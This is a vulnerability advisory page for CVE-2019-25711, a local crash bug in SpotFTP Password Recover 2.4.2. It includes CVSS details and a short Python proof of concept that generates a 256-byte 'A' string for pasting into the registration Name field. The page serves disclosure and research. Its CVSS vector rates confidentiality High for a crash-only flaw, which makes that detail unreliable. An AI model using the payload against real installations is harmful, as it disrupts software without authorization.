Security Vulnerability Report
中文
CVE-2019-25711 CVSS 6.2 MEDIUM

CVE-2019-25711

Published: 2026-04-12 13:16:34
Last Modified: 2026-04-17 14:14:51

Description

SpotFTP Password Recover 2.4.2 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an oversized buffer in the Name field during registration. Attackers can generate a 256-byte payload, paste it into the Name input field, and trigger a crash when submitting the registration code.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nsasoft:spotftp:2.4.2:*:*:*:*:*:*:* - VULNERABLE
SpotFTP Password Recover 2.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2019-25711 # Generates a payload to crash SpotFTP Password Recover 2.4.2 def generate_payload(): # The vulnerability is triggered by a 256-byte buffer payload = "A" * 256 print(f"[+] Generated Payload (Length: {len(payload)}):") print(payload) print("\n[+] Usage: Copy the payload and paste it into the 'Name' field during registration.") if __name__ == "__main__": generate_payload()

References

Raw JSON Data

JSON
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